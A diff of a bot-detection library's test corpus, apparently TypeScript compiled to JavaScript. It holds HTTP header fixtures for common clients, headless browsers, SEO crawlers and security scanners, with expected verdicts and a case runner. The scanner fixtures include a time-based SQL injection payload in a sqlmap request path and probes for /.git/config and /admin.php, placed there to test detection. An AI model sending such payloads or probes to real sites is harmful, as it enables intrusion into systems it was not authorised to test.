+  client("lib-jsoup", "jsoup fetching a page to parse", [["User-Agent", "Mozilla/5.0 (jsoup)"], ["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"], ["Accept-Encoding", "gzip"]], "jsoup wears a Mozilla preamble it did not earn", { identity: "java", notes: "A Mozilla preamble with `(jsoup)` where the platform block belongs. The preamble buys nothing: the product token names the library, and that is what is read." }),
+  // ---- Go, Rust, and systems languages ----
+  client("lib-go-nethttp", "Go's net/http", [["User-Agent", "Go-http-client/2.0"], ["Accept-Encoding", "gzip"]], "Go sends only a User-Agent and Accept-Encoding by default \u2014 no Accept at all", { identity: "go" }),
+  client("lib-go-resty", "Go with resty", [["User-Agent", "go-resty/2.16.5 (https://github.com/go-resty/resty)"], ["Accept-Encoding", "gzip"]], "resty names its repository", { identity: "go" }),
+  client("lib-rust-reqwest", "Rust's reqwest", [["Accept", "*/*"], ["User-Agent", "reqwest/0.12.12"], ["Accept-Encoding", "gzip, br, zstd, deflate"]], "reqwest advertises four encodings including zstd", { identity: "rust" }),
+  client("lib-rust-ureq", "Rust's ureq", [["User-Agent", "ureq/3.0.5"], ["Accept", "*/*"], ["Accept-Encoding", "gzip"]], "A blocking Rust client common in CLI tools", { identity: "rust" }),
+  client("lib-curl-cli", "curl from a shell", [["User-Agent", "curl/8.12.1"], ["Accept", "*/*"]], "curl sends exactly three headers by default and no Accept-Encoding unless asked", { identity: "curl" }),
+  client("lib-curl-compressed", "curl --compressed", [["User-Agent", "curl/8.12.1"], ["Accept", "*/*"], ["Accept-Encoding", "deflate, gzip, br, zstd"]], "The --compressed flag adds every encoding libcurl was built with", { identity: "curl" }),
+  client("lib-wget", "Wget", [["User-Agent", "Wget/1.25.0"], ["Accept", "*/*"], ["Accept-Encoding", "identity"], ["Connection", "Keep-Alive"]], "Wget defaults to identity encoding", { identity: "wget" }),
+  client("lib-wget2", "Wget2", [["User-Agent", "Wget/2.2.0"], ["Accept-Encoding", "gzip, br, zstd, lzip, deflate"], ["Accept", "*/*"], ["Connection", "keep-alive"]], "Wget2 advertises encodings no browser supports, including lzip", { identity: "wget" }),
+  client("lib-aria2", "aria2 download manager", [["User-Agent", "aria2/1.37.0"], ["Accept", "*/*"], ["Accept-Encoding", "deflate, gzip"], ["Connection", "close"], ["Range", "bytes=0-1048575"]], "aria2 segments downloads with parallel Range requests", { identity: "misc-cli", path: "/downloads/catalogue.pdf" }),
+  // ---- PHP, Ruby, Perl, .NET ----
+  client("lib-guzzle", "Guzzle", [["User-Agent", "GuzzleHttp/7.9.2 curl/8.12.1 PHP/8.4.3"], ["Accept", "*/*"]], "Guzzle names itself, libcurl and PHP in one string", { identity: "php" }),
+  client("lib-php-file-get-contents", "PHP's file_get_contents", [["User-Agent", "PHP/8.4.3"], ["Accept", "*/*"], ["Connection", "close"]], "The default stream wrapper sends the bare interpreter version", { identity: "php" }),
+  client("lib-wordpress-pingback", "A WordPress pingback", [["User-Agent", "WordPress/6.8.1; https://blog.example"], ["Accept", "*/*"], ["Accept-Encoding", "deflate;q=1.0, compress;q=0.5, gzip;q=0.5"], ["Content-Type", "application/x-www-form-urlencoded"]], "WordPress names the calling site in its User-Agent, which makes it traceable", { identity: "php", method: "POST", path: "/xmlrpc.php", notes: "Honest automation from somebody else's blog. A block here breaks a pingback, not an attack." }),
+  client("lib-drupal-http", "Drupal's HTTP client", [["User-Agent", "Drupal/11.1 (+https://www.drupal.org/)"], ["Accept", "*/*"], ["Accept-Encoding", "gzip"]], "Drupal names its project URL", { identity: "php" }),
+  client("lib-ruby-faraday", "Ruby with Faraday", [["User-Agent", "Faraday v2.12.2"], ["Accept-Encoding", "gzip;q=1.0,deflate;q=0.6,identity;q=0.3"], ["Accept", "*/*"]], "Faraday's quality-weighted encoding list is distinctive", { identity: "ruby" }),
+  client("lib-ruby-nethttp", "Ruby's Net::HTTP", [["Accept-Encoding", "gzip;q=1.0,deflate;q=0.6,identity;q=0.3"], ["Accept", "*/*"], ["User-Agent", "Ruby"], ["Connection", "close"]], "The standard library sends a User-Agent of exactly 'Ruby'", { suspectedOnly: true, notes: "Four characters. No signature matches it \u2014 a token of 'ruby' would match any string containing the word \u2014 so it is caught by shape alone, as a bare product token no browser emits. Strong, not proven, and that is the right answer." }),
+  client("lib-httprb-mastodon", "http.rb, as used by Mastodon", [["User-Agent", "http.rb/5.2.0 (Mastodon/4.3.4; +https://mastodon.example/)"], ["Accept", "application/activity+json, application/ld+json"], ["Accept-Encoding", "gzip"]], "Fediverse servers fetch on their users' behalf and name both the library and the instance", { audience: "benign-bot", identity: "mastodon", botClass: "declared-bot", notes: "One shared link can arrive from hundreds of instances at once, each a separate server acting for a real reader. Identified as Mastodon rather than as a Ruby client: the more specific claim is the more useful one for writing a rule." }),
+  client("lib-dotnet-httpclient", ".NET HttpClient", [["User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) HttpClient/9.0"], ["Accept-Encoding", "gzip, deflate, br"], ["Connection", "keep-alive"]], "Even library clients sometimes wear a Mozilla preamble", { identity: "dotnet" }),
+  client("lib-restsharp", "RestSharp", [["User-Agent", "RestSharp/112.1.0"], ["Accept", "application/json, text/json, text/x-json, text/javascript, application/xml, text/xml"], ["Accept-Encoding", "gzip, deflate"]], "RestSharp's Accept list is long and unmistakably not a browser's", { identity: "dotnet" }),
+  client("lib-powershell-invoke", "PowerShell's Invoke-WebRequest", [["User-Agent", "Mozilla/5.0 (Windows NT 10.0; Microsoft Windows 10.0.26100; en-GB) PowerShell/7.5.0"], ["Accept-Encoding", "gzip, deflate, br"]], "PowerShell names the exact Windows build and the shell version", { identity: "shell", notes: "A Mozilla preamble again, beside a product token no browser emits. Invoke-WebRequest is a deployment script far more often than it is an attack." }),
+  client("lib-libwww-perl", "Perl's LWP", [["User-Agent", "libwww-perl/6.78"], ["TE", "deflate,gzip;q=0.3"]], "One of the oldest scripted clients still in circulation", { identity: "perl" }),
+  // ---- CLI tools people use by hand ----
+  client("lib-httpie", "HTTPie", [["User-Agent", "HTTPie/3.2.4"], ["Accept-Encoding", "gzip, deflate"], ["Accept", "*/*"], ["Connection", "keep-alive"]], "A command-line client aimed at people rather than at scripts", { identity: "misc-cli", notes: "Automation by shape, a developer by intent. Worth remembering when choosing an action." }),
+  client("lib-postman", "Postman", [["User-Agent", "PostmanRuntime/7.43.0"], ["Accept", "*/*"], ["Cache-Control", "no-cache"], ["Postman-Token", "0a1b2c3d-4e5f-6071-8293-a4b5c6d7e8f9"], ["Accept-Encoding", "gzip, deflate, br"], ["Connection", "keep-alive"]], "Postman adds a per-request token header of its own", { identity: "misc-cli" }),
+  client("lib-insomnia", "Insomnia", [["User-Agent", "insomnia/10.3.0"], ["Accept", "*/*"], ["Accept-Encoding", "gzip, deflate, br"]], "An API client, a person clicking Send", { identity: "misc-cli" }),
+  client("lib-xh", "xh", [["User-Agent", "xh/0.23.1"], ["Accept", "*/*"], ["Accept-Encoding", "gzip, deflate, br, zstd"], ["Connection", "keep-alive"]], "A Rust reimplementation of HTTPie", { certain: false }),
+  client("lib-k6-load-test", "A k6 load test", [["User-Agent", "k6/0.56.0 (https://k6.io/)"], ["Accept", "*/*"], ["Accept-Encoding", "gzip"]], "Load generators identify themselves; usually this is your own test running against your own site", { identity: "k6", audience: "infrastructure", notes: "k6 is a named signature, and deliberately a `library` one rather than a `monitoring` one: monitoring is a benign category and benign categories are allowed by default, which is the wrong default for a tool whose purpose is generating load. Allowlist the load generator addresses before a test rather than discovering mid-run that the bot policy is what you measured." }),
+  client("lib-vegeta", "A Vegeta load test", [["User-Agent", "Go-http-client/2.0"], ["Accept-Encoding", "gzip"], ["X-Vegeta-Attack", "1"]], "Vegeta is built on Go's client and inherits its header set", { identity: "go", audience: "infrastructure" }),
+  client("lib-ab-benchmark", "ApacheBench", [["User-Agent", "ApacheBench/2.3"], ["Accept", "*/*"]], "The oldest load tool still in daily use", { suspectedOnly: true, audience: "infrastructure" })
+];
+
+// src/corpus/tooling.ts
+function library(id, title, headers, provenance, identity, notes) {
+  return bot({
+    id,
+    title,
+    audience: "unwanted-bot",
+    category: "http-library",
+    provenance,
+    ...notes !== void 0 ? { notes } : {},
+    requests: [{ headers, protocol: "https", httpVersion: "1.1" }],
+    expect: {
+      verdict: "confirmed-bot",
+      botClass: "http-client",
+      certain: true,
+      ...identity !== void 0 ? { identity } : {},
+      detectors: ["self-identified"]
+    }
+  });
+}
+var TOOLING_CASES = [
+  // ---------------------------------------------------------------------------
+  // HTTP libraries, in the header order each actually sends.
+  // ---------------------------------------------------------------------------
+  library(
+    "python-requests",
+    "python-requests",
+    [["Host", "shop.example"], ["User-Agent", "python-requests/2.32.3"], ["Accept-Encoding", "gzip, deflate"], ["Accept", "*/*"], ["Connection", "keep-alive"]],
+    "requests sends User-Agent, Accept-Encoding, Accept, Connection \u2014 Accept-Encoding ahead of Accept, which no browser does",
+    "python",
+    "Exercises both the signature and the header-order invariant at once."
+  ),
+  library(
+    "python-httpx",
+    "httpx",
+    [["Host", "shop.example"], ["Accept", "*/*"], ["Accept-Encoding", "gzip, deflate, br"], ["Connection", "keep-alive"], ["User-Agent", "python-httpx/0.27.2"]],
+    "httpx sorts differently from requests and sends User-Agent last",
+    "python"
+  ),
+  library(
+    "python-aiohttp",
+    "aiohttp",
+    [["Host", "shop.example"], ["Accept", "*/*"], ["Accept-Encoding", "gzip, deflate"], ["User-Agent", "Python/3.12 aiohttp/3.10.5"]],
+    "aiohttp's default client header set",
+    "python"
+  ),
+  library(
+    "python-urllib",
+    "urllib",
+    [["Accept-Encoding", "identity"], ["Host", "shop.example"], ["User-Agent", "Python-urllib/3.12"], ["Connection", "close"]],
+    "urllib sends Host *second* and Accept-Encoding: identity \u2014 a request shape no browser produces",
+    "python"
+  ),
+  library(
+    "scrapy",
+    "Scrapy",
+    [["Host", "shop.example"], ["User-Agent", "Scrapy/2.11.2 (+https://scrapy.org)"], ["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"], ["Accept-Language", "en"], ["Accept-Encoding", "gzip, deflate"]],
+    "Scrapy's default crawler headers; it names a contact URL like a polite crawler",
+    "python"
+  ),
+  library(
+    "curl",
+    "curl",
+    [["Host", "shop.example"], ["User-Agent", "curl/8.11.1"], ["Accept", "*/*"]],
+    "curl sends exactly three headers by default",
+    "curl"
+  ),
+  library("wget", "Wget", [["Host", "shop.example"], ["User-Agent", "Wget/1.24.5"], ["Accept", "*/*"], ["Accept-Encoding", "identity"], ["Connection", "Keep-Alive"]], "Wget's default header set", "wget"),
+  library(
+    "go-http-client",
+    "Go's net/http",
+    [["Host", "shop.example"], ["User-Agent", "Go-http-client/2.0"], ["Accept-Encoding", "gzip"]],
+    "Go sends only a User-Agent and Accept-Encoding by default \u2014 no Accept at all",
+    "go"
+  ),
+  library("node-fetch", "node-fetch", [["Host", "shop.example"], ["Accept", "*/*"], ["User-Agent", "node-fetch/1.0 (+https://github.com/bitinn/node-fetch)"], ["Accept-Encoding", "gzip,deflate"], ["Connection", "close"]], "node-fetch default headers; it sends Accept before User-Agent, unlike any browser", "node"),
+  library("axios", "axios", [["Host", "shop.example"], ["Accept", "application/json, text/plain, */*"], ["User-Agent", "axios/1.7.7"], ["Accept-Encoding", "gzip, compress, deflate, br"]], "axios in Node; in a browser it cannot set User-Agent at all", "node"),
+  library("okhttp", "OkHttp", [["Host", "shop.example"], ["User-Agent", "okhttp/4.12.0"], ["Connection", "Keep-Alive"], ["Accept-Encoding", "gzip"]], "The default client for most Android apps", "java"),
+  library("java-httpclient", "Java HttpClient", [["Host", "shop.example"], ["User-Agent", "Java-http-client/21.0.4"], ["Connection", "Upgrade, HTTP2-Settings"]], "The JDK's built-in client", "java"),
+  library("apache-httpclient", "Apache HttpClient", [["Host", "shop.example"], ["User-Agent", "Apache-HttpClient/5.3.1 (Java/21.0.4)"], ["Accept-Encoding", "gzip, x-gzip, deflate"], ["Connection", "keep-alive"]], "Ubiquitous in JVM services", "java"),
+  library("guzzle", "Guzzle", [["Host", "shop.example"], ["User-Agent", "GuzzleHttp/7.9.2 curl/8.11.1 PHP/8.3.12"], ["Accept", "*/*"]], "The default PHP HTTP client; note it names curl and PHP too", "php"),
+  library("wordpress", "WordPress", [["Host", "shop.example"], ["User-Agent", "WordPress/6.7.1; https://blog.example"], ["Accept", "*/*"], ["Accept-Encoding", "deflate;q=1.0, compress;q=0.5, gzip;q=0.5"]], "WordPress pingbacks and feed fetches identify the calling site", "php", "Honest automation from somebody else's blog. A block here breaks a pingback, not an attack."),
+  library("ruby-faraday", "Ruby Faraday", [["Host", "shop.example"], ["User-Agent", "Faraday v2.12.0"], ["Accept-Encoding", "gzip;q=1.0,deflate;q=0.6,identity;q=0.3"], ["Accept", "*/*"]], "A common Ruby client stack", "ruby"),
+  library("dotnet-httpclient", ".NET HttpClient", [["Host", "shop.example"], ["User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) HttpClient/8.0"], ["Accept-Encoding", "gzip, deflate, br"]], "Note the Mozilla prefix: even library clients sometimes wear a browser preamble", "dotnet"),
+  library("postman", "Postman", [["Host", "shop.example"], ["User-Agent", "PostmanRuntime/7.42.0"], ["Accept", "*/*"], ["Accept-Encoding", "gzip, deflate, br"], ["Connection", "keep-alive"]], "A person clicking Send in Postman \u2014 automation by shape, a human by intent", "misc-cli", "Worth remembering when choosing an action: there is a developer on the other end of this one."),
+  library("httpie", "HTTPie", [["Host", "shop.example"], ["User-Agent", "HTTPie/3.2.4"], ["Accept-Encoding", "gzip, deflate"], ["Accept", "*/*"], ["Connection", "keep-alive"]], "A command-line client aimed at people", "misc-cli"),
+  library("libwww-perl", "LWP", [["Host", "shop.example"], ["User-Agent", "libwww-perl/6.77"], ["TE", "deflate,gzip;q=0.3"]], "One of the oldest scripted clients still in circulation", "perl"),
+  bot({
+    id: "unknown-bare-token",
+    title: "An unrecognised internal service client",
+    audience: "unwanted-bot",
+    category: "http-library",
+    provenance: "A hand-rolled User-Agent from somebody's internal integration",
+    notes: "Not in any signature database and never will be. The shape alone \u2014 a bare product token with no browser preamble \u2014 is enough for `strong`, and no more. This is the case the allowlist exists for.",
+    requests: [plain("AcmeInventorySync/2.3")],
+    expect: { verdict: "suspected-bot", botClass: "http-client", certain: false, minScore: 55 }
+  }),
+  bot({
+    id: "no-user-agent-at-all",
+    title: "A request with no User-Agent",
+    audience: "unwanted-bot",
+    category: "http-library",
+    provenance: "Common in scripts, and also produced by some stripped-down proxies",
+    notes: "Deliberately only `moderate`. Header-stripping intermediaries do this to real people.",
+    requests: [{ headers: [["Host", "shop.example"], ["Accept", "*/*"]], protocol: "https", httpVersion: "1.1" }],
+    expect: { certain: false, maxScore: 60 }
+  }),
+  // ---------------------------------------------------------------------------
+  // Automation runtimes that are not hiding.
+  // ---------------------------------------------------------------------------
+  bot({
+    id: "headless-chrome-default",
+    title: "Headless Chrome with its default User-Agent",
+    audience: "unwanted-bot",
+    category: "automation",
+    provenance: "Puppeteer and Playwright leave HeadlessChrome in the UA unless told otherwise",
+    requests: [plain("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/152.0.0.0 Safari/537.36")],
+    expect: { verdict: "confirmed-bot", botClass: "automation", certain: true }
+  }),
+  bot({
+    id: "headless-chrome-client-hints",
+    title: "Headless Chrome that hid the UA but not the Client Hints",
+    audience: "unwanted-bot",
+    category: "automation",
+    provenance: "Overriding navigator.userAgent does not rewrite Sec-CH-UA, so the brand list still says HeadlessChrome",
+    notes: "A self-declaration in a place the operator forgot to edit \u2014 which makes it a statement rather than an inference, and therefore `certain`.",
+    requests: [
+      {
+        headers: [
+          ["Host", "shop.example"],
+          ["Connection", "keep-alive"],
+          ["sec-ch-ua", '"HeadlessChrome";v="152", "Chromium";v="152", "Not(A:Brand";v="24"'],
+          ["sec-ch-ua-mobile", "?0"],
+          ["sec-ch-ua-platform", '"Linux"'],
+          ["User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36"],
+          ["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"],
+          ["Accept-Encoding", "gzip, deflate, br"],
+          ["Accept-Language", "en-US"]
+        ],
+        protocol: "https",
+        httpVersion: "1.1"
+      }
+    ],
+    expect: { verdict: "confirmed-bot", botClass: "automation", certain: true, detectors: ["client-hints"] }
+  }),
+  bot({
+    id: "selenium-webdriver",
+    title: "Selenium WebDriver",
+    audience: "unwanted-bot",
+    category: "automation",
+    provenance: "Some grid configurations leave a webdriver token in the UA",
+    requests: [plain("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36 selenium/4.25.0")],
+    expect: { verdict: "confirmed-bot", botClass: "automation", certain: true }
+  }),
+  bot({
+    id: "phantomjs",
+    title: "PhantomJS",
+    audience: "unwanted-bot",
+    category: "automation",
+    provenance: "Long unmaintained, still seen in old scraping stacks",
+    requests: [plain("Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1")],
+    expect: { verdict: "confirmed-bot", botClass: "automation", certain: true }
+  }),
+  bot({
+    id: "splash-renderer",
+    title: "Splash, a scriptable rendering service",
+    audience: "unwanted-bot",
+    category: "automation",
+    provenance: "Scrapy's JavaScript rendering companion",
+    requests: [plain("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/602.1 (KHTML, like Gecko) splash/3.5 Safari/602.1")],
+    expect: { verdict: "confirmed-bot", botClass: "automation", certain: true }
+  }),
+  // ---------------------------------------------------------------------------
+  // Security tooling. A hit proves automation, not malice — you may be scanning
+  // yourself, which is what the allowlist is for.
+  // ---------------------------------------------------------------------------
+  bot({
+    id: "sqlmap",
+    title: "sqlmap",
+    audience: "hostile",
+    category: "scanner",
+    provenance: "The standard SQL injection tool; announces itself by default",
+    requests: [{ ...plain("sqlmap/1.8.11#stable (https://sqlmap.org)"), path: "/products?id=1%27%20AND%20SLEEP(5)--" }],
+    expect: { verdict: "confirmed-bot", botClass: "scanner", certain: true, identity: "sqlmap" }
+  }),
+  bot({
+    id: "nikto",
+    title: "Nikto",
+    audience: "hostile",
+    category: "scanner",
+    provenance: "Web server scanner; the UA embeds a Mozilla/5.00 typo that has never been fixed",
+    requests: [{ ...plain("Mozilla/5.00 (Nikto/2.5.0) (Evasions:None) (Test:Port Check)"), path: "/admin.php" }],
+    expect: { verdict: "confirmed-bot", botClass: "scanner", certain: true, identity: "nikto" }
+  }),
+  bot({
+    id: "nuclei",
+    title: "Nuclei",
+    audience: "hostile",
+    category: "scanner",
+    provenance: "Template-driven vulnerability scanner from ProjectDiscovery",
+    requests: [{ ...plain("Nuclei - Open-source project (github.com/projectdiscovery/nuclei)"), path: "/.git/config" }],
+    expect: { verdict: "confirmed-bot", botClass: "scanner", certain: true, identity: "nuclei" }
+  }),
+  bot({
+    id: "gobuster",
+    title: "Directory brute-forcing with gobuster",
+    audience: "hostile",
+    category: "scanner",
+    provenance: "Content discovery tool",
+    requests: [{ ...plain("gobuster/3.6"), path: "/backup" }],
+    expect: { verdict: "confirmed-bot", botClass: "scanner", certain: true }
+  }),
+  bot({
+    id: "acunetix",
+    title: "Acunetix",
+    audience: "hostile",
+    category: "scanner",
+    provenance: "Commercial DAST scanner",
+    requests: [plain("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 acunetix-product")],
+    expect: { verdict: "confirmed-bot", botClass: "scanner", certain: true }
+  }),
+  bot({
+    id: "masscan",
+    title: "masscan hitting an HTTP port",
+    audience: "hostile",
+    category: "scanner",
+    provenance: "Internet-wide port scanner",
+    requests: [{ headers: [["Host", "shop.example"], ["User-Agent", "masscan/1.3 (https://github.com/robertdavidgraham/masscan)"], ["Accept", "*/*"]], protocol: "http", httpVersion: "1.1" }],
+    expect: { verdict: "confirmed-bot", botClass: "scanner", certain: true }
+  }),
+  bot({
+    id: "censys-scanner",
+    title: "Censys internet-wide measurement",
+    audience: "hostile",
+    category: "scanner",
+    provenance: "Research scanning that publishes an opt-out address",
+    notes: "Classified alongside scanners because that is what it is, but it is a research project that honours opt-outs \u2014 a good candidate for your allowlist rather than a block.",
+    requests: [plain("Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)")],
+    expect: { verdict: "confirmed-bot", botClass: "scanner", certain: true }
+  }),
+  bot({
+    id: "internet-measurement",
+    title: "Anonymous internet measurement",
+    audience: "hostile",
+    category: "scanner",
+    provenance: "Driftnet and similar projects scan the whole address space continuously",
+    requests: [plain("Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)")],
+    expect: { verdict: "confirmed-bot", certain: true }
+  })
+];
+
+// src/corpus/unwanted.ts
+function seo(id, title, userAgent, identity, provenance, notes) {
+  return bot({
+    id,
+    title,
+    audience: "unwanted-bot",
+    category: "seo-crawler",
+    provenance,
+    ...notes !== void 0 ? { notes } : {},
+    requests: [plain(userAgent)],
+    expect: { verdict: "confirmed-bot", certain: true, identity, detectors: ["self-identified"] }
+  });
+}
+var UNWANTED_BOT_CASES = [
+  seo("ahrefsbot", "AhrefsBot", "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)", "ahrefsbot", "Backlink index crawler; publishes FCrDNS under ahrefs.com, so it is one of the few here that can actually be verified"),
+  seo("ahrefs-site-audit", "AhrefsSiteAudit", "Mozilla/5.0 (compatible; AhrefsSiteAudit/6.1; +http://ahrefs.com/robot/site-audit)", "ahrefsbot", "Runs when somebody audits your site \u2014 possibly you"),
+  seo("semrushbot", "SemrushBot", "Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html)", "semrushbot", "Competitive research crawler"),
+  seo("mj12bot", "MJ12bot", "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)", "mj12bot", "Majestic's distributed crawler \u2014 it runs on volunteers' machines, so it arrives from residential addresses"),
+  seo("dotbot", "DotBot", "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)", "dotbot", "Feeds Moz's link index and Open Site Explorer"),
+  seo("blexbot", "BLEXBot", "Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup-crawler.com/)", "blexbot", "Link research crawler feeding a backlink index"),
+  seo("dataforseo", "DataForSeoBot", "Mozilla/5.0 (compatible; DataForSeoBot/1.0; +https://dataforseo.com/dataforseo-bot)", "dataforseo", "SERP and backlink data as a service"),
+  seo("serpstatbot", "Serpstatbot", "serpstatbot/2.1 (advanced backlink tracking bot; https://serpstatbot.com/; abuse@serpstatbot.com)", "serpstatbot", "Backlink tracking for an SEO analytics product"),
+  seo("barkrowler", "Barkrowler", "Mozilla/5.0 (compatible; Barkrowler/0.9; +https://babbar.tech/crawler)", "barkrowler", "Builds a link graph for the Babbar SEO product"),
+  seo("zoominfobot", "ZoominfoBot", "ZoominfoBot (zoominfobot at zoominfo dot com)", "zoominfobot", "Harvests contact data for a sales product \u2014 a crawler many sites decline on privacy grounds rather than cost"),
+  bot({
+    id: "seo-crawler-aggressive-rate",
+    title: "An SEO crawler ignoring Crawl-delay",
+    audience: "unwanted-bot",
+    category: "seo-crawler",
+    provenance: "Declared crawlers sometimes crawl far faster than a site can comfortably serve",
+    notes: "Honest and inconsiderate at once. The right answer is a rate limit, not a block: it identified itself truthfully, and the problem is throughput rather than deception.",
+    requests: Array.from({ length: 40 }, (_, index) => ({
+      ...plain("Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html)"),
+      path: `/products/${index + 1}`,
+      atMs: index * 120
+    })),
+    expect: { verdict: "confirmed-bot", certain: true, identity: "semrushbot" }
+  }),
+  bot({
+    id: "unrecognised-polite-crawler",
+    title: "A crawler nobody has heard of that follows the conventions",
+    audience: "declared-bot",
+    category: "unknown-crawler",
+    provenance: "New crawlers appear constantly; the convention of naming yourself and publishing a contact URL does not change",
+    notes: "Not in any signature database and correctly handled anyway. Word plus contact address is a declaration, so it reaches `certain` on structure alone \u2014 which is what keeps the library useful as the world adds crawlers.",
+    requests: [plain("Mozilla/5.0 (compatible; NewIndexBot/0.4; +https://newindex.example/about-our-crawler)")],
+    expect: { verdict: "confirmed-bot", botClass: "declared-bot", certain: true }
+  }),
+  bot({
+    id: "crawler-word-without-contact",
+    title: "A crawler-ish name with no contact address",
+    audience: "unwanted-bot",
+    category: "unknown-crawler",
+    provenance: "Half of the convention followed",
+    notes: "Suggestive, not conclusive. Without the contact address there is no declaration of intent, only a word.",
+    requests: [plain("Mozilla/5.0 (compatible; Some Spider 1.0)")],
+    expect: { verdict: "suspected-bot", certain: false, botClass: "declared-bot", minScore: 55 }
+  })
+];
+
+// src/corpus/runner.ts
+init_clock();
+init_facts();
+var DEFAULT_START = Date.UTC(2026, 7, 30, 9, 0, 0);
+function addressFor(id) {
+  let hash = 2166136261;
+  for (let i = 0; i < id.length; i++) {
+    hash ^= id.charCodeAt(i);
+    hash = Math.imul(hash, 16777619);
+  }
+  const value = hash >>> 0;
+  return `198.18.${value >> 8 & 255}.${value & 255 || 1}`;
+}
+function caseResolver(current) {
+  const notFound = () => {
+    throw Object.assign(new Error("not found"), { code: "ENOTFOUND" });
+  };
+  const unavailable = () => {
+    throw Object.assign(new Error("timed out"), { code: "ETIMEOUT" });
+  };
+  return {
+    async reverse(ip) {
+      const dns = current()?.dns;
+      if (dns === void 0) return notFound();
+      if (dns.unavailable === true) return unavailable();
+      const names = dns.reverse?.[ip];
+      return names === void 0 ? notFound() : [...names];
+    },
+    async resolveAddresses(hostname) {
+      const dns = current()?.dns;
+      if (dns === void 0) return notFound();
+      if (dns.unavailable === true) return unavailable();
+      const addresses = dns.forward?.[hostname];
+      return addresses === void 0 ? notFound() : [...addresses];
+    }
+  };
+}
+function toFacts(request, fallbackIp, timestamp) {
+  const headers = {};
+  const order = [];
+  for (const [name, value] of request.headers) {
+    const key = name.toLowerCase();
+    const existing = headers[key];
+    headers[key] = existing === void 0 ? value : Array.isArray(existing) ? [...existing, value] : [existing, value];
+    order.push(name);
+  }
+  return createFacts({
+    method: request.method ?? "GET",
+    url: request.path ?? "/",
+    headers,
+    rawHeaders: order,
+    ip: request.ip ?? fallbackIp,
+    timestamp,
+    protocol: request.protocol ?? "https",
+    httpVersion: request.httpVersion ?? "1.1",
+    ...request.tlsFingerprint !== void 0 ? { tlsFingerprint: request.tlsFingerprint } : {},
+    ...request.partialHeaders === true ? { partialHeaders: true } : {}
+  });
+}
+function asArray(value) {
+  if (value === void 0) return void 0;
+  return Array.isArray(value) ? value : [value];
+}
+function checkExpectations(item, result, assertActions) {
+  const { assessment, decision, outcome } = result;
+  const expect = item.expect;
+  const failures = [];
+  const verdicts = asArray(expect.verdict);
+  if (verdicts && !verdicts.includes(assessment.verdict)) {
+    failures.push(`verdict was "${assessment.verdict}", expected ${verdicts.map((v) => `"${v}"`).join(" or ")}`);
+  }
+  const classes = asArray(expect.botClass);
+  if (classes && !classes.includes(assessment.botClass)) {
+    failures.push(`botClass was "${assessment.botClass}", expected ${classes.map((c) => `"${c}"`).join(" or ")}`);
+  }
+  if (expect.certain !== void 0 && assessment.certain !== expect.certain) {
+    failures.push(`certain was ${assessment.certain}, expected ${expect.certain}`);
+  }
+  if (expect.identity !== void 0) {
+    const identities = new Set([assessment.identity, ...assessment.evidence.map((e) => e.identity)].filter(Boolean));
+    if (!identities.has(expect.identity)) {
+      failures.push(`identity "${expect.identity}" not established (saw ${[...identities].join(", ") || "none"})`);
+    }
+  }
+  if (expect.minScore !== void 0 && assessment.score < expect.minScore) {
+    failures.push(`score was ${assessment.score}, expected at least ${expect.minScore}`);
+  }
+  if (expect.maxScore !== void 0 && assessment.score > expect.maxScore) {
+    failures.push(`score was ${assessment.score}, expected at most ${expect.maxScore}`);
+  }
+  const fired = new Set([...assessment.evidence, ...assessment.humanEvidence].map((e) => e.detector));
+  for (const detector of expect.detectors ?? []) {
+    if (!fired.has(detector)) failures.push(`expected detector "${detector}" to fire; it did not (fired: ${[...fired].join(", ") || "none"})`);
+  }
+  for (const detector of expect.notDetectors ?? []) {
+    if (fired.has(detector)) {
+      const summary = [...assessment.evidence, ...assessment.humanEvidence].find((e) => e.detector === detector)?.summary ?? "";
+      failures.push(`detector "${detector}" fired but should not have: ${summary}`);
+    }
+  }
+  const actions = assertActions ? asArray(expect.action) : void 0;
+  if (actions && !actions.includes(decision.action)) {
+    failures.push(`action was "${decision.action}" (rule "${decision.rule}"), expected ${actions.map((a) => `"${a}"`).join(" or ")}`);
+  }
+  for (const action of expect.neverAction ?? []) {
+    if (decision.action === action) failures.push(`action "${action}" is forbidden for this case (rule "${decision.rule}")`);
+  }
+  if (expect.outcome !== void 0 && outcome.kind !== expect.outcome) {
+    failures.push(`outcome was "${outcome.kind}", expected "${expect.outcome}" (decision was "${decision.action}")`);
+  }
+  return failures;
+}
+async function runCase(handler, clock, item, startedAt, provides, assertActions = true) {
+  const missing = (item.requires ?? []).filter((capability) => !provides.has(capability));
+  if (missing.length > 0) {
+    return {
+      case: item,
+      requests: [],
+      final: void 0,
+      failures: [],
+      falsePositive: false,
+      skipped: `needs configuration this handler does not provide: ${missing.join(", ")}`,
+      durationMs: 0
+    };
+  }
+  const fallbackIp = addressFor(item.id);
+  const requests = [];
+  const began = performance.now();
+  let clearanceCookie;
+  if (item.clearance !== void 0) {
+    clock.set(startedAt);
+    const seed = toFacts(item.requests[0], fallbackIp, clock.now());
